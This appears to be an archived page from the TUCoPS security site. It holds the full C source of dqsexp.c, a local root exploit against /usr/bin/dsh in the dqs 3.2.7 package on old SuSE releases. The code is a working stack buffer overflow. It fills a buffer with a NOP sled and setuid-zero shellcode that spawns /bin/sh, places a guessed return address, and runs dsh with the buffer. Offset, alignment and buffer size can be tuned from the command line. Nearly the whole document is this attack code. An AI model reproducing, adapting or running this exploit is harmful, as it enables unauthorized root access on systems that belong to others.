Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: dqsexp.c

Dsh local root exploit




/* - dqsexp.c - */
/********************************************************************/
/* /usr/bin/dsh(dqs 3.2.7 package) local root exploit.              */
/* SuSE 6.3, 6.4, and 7.0 are vunerable.                            */
/* dex@raza-mexicana.org <> http://www.raza-mexicana.org            */
/* Saludos: dr_fdisk^, yield, vlad, deadsector, trovalz, fatal,     */
/* megaflop y a todo raza. que weba escribirlos todos XD.           */
/* En especial saludos al espa~olete(NOP) :P, ya sabes porque.      */
/*                                                                  */
/*        - dex@raza-mexicana.org <> http://www.raza-mexicana.org - */
/********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFSIZE 2772
#define OFFSET 0
#define ALIGN 0

unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}

static char code[]=                      /* stolen from mount.c :P   */

  "\x29\xc0"                             /* subl %eax, %eax          */
  "\xb0\x46"                             /* movb $70, %al            */
  "\x29\xdb"                             /* subl %ebx, %ebx          */
  "\xb3\x0c"                             /* movb $12, %bl            */
  "\x80\xeb\x0c"                         /* subb $12, %bl */
  "\x89\xd9"                             /* movl %ebx, %ecx          */
  "\xcd\x80"                             /* int $0x80                */
  "\xeb\x18"                             /* jmp callz                */
  "\x5e"                                 /* popl %esi                */
  "\x29\xc0"                             /* subl %eax, %eax          */
  "\x88\x46\x07"                         /* movb %al, 0x07(%esi)     */
  "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)    */
  "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)    */
  "\xb0\x0b"                             /* movb $0x0b, %al          */
  "\x87\xf3"                             /* xchgl %esi, %ebx         */
  "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx    */
  "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx    */
  "\xcd\x80"                             /* int $0x80                */
  "\xe8\xe3\xff\xff\xff"                 /* call start               */
  "\x2f\x62\x69\x6e\x2f\x73\x68";


void main(int argc, char **argv) {

int i;
unsigned long addr;

char *buffer;

int offset=OFFSET;
int buffsize=BUFFSIZE;
int align=ALIGN;

if (argc > 1 ) offset = atoi(argv[1]);
if (argc > 2 ) align = atoi(argv[2]);
if (argc > 3 ) buffsize = atoi(argv[3]);

buffer = (char *)malloc(buffsize + 8);

addr = get_sp() - offset;

for(i = 0; i < buffsize; i += 4) {
   *(long *)&buffer[i] = 0x90909090;
 }
 
 *(long *)&buffer[buffsize - 8] = addr;
 *(long *)&buffer[buffsize - 4] = addr;

 memcpy(buffer + buffsize - 8 - strlen(code) - align, code, strlen(code));

 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
 printf("[*] /usr/bin/dsh(dqs 3.2.7 package) local root exploit.\n");
 printf("[*] - dex@raza-mexicana.org <> http://www.raza-mexicana.org - \n");
 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");

 printf("[*] Address=0x%x, Align=%d, Offset=%d\n", addr, align, offset);
 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
 printf("[*] Starting....\n");

 execl("/usr/bin/dsh", "dsh", buffer, "/etc/motd",  NULL);
}



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH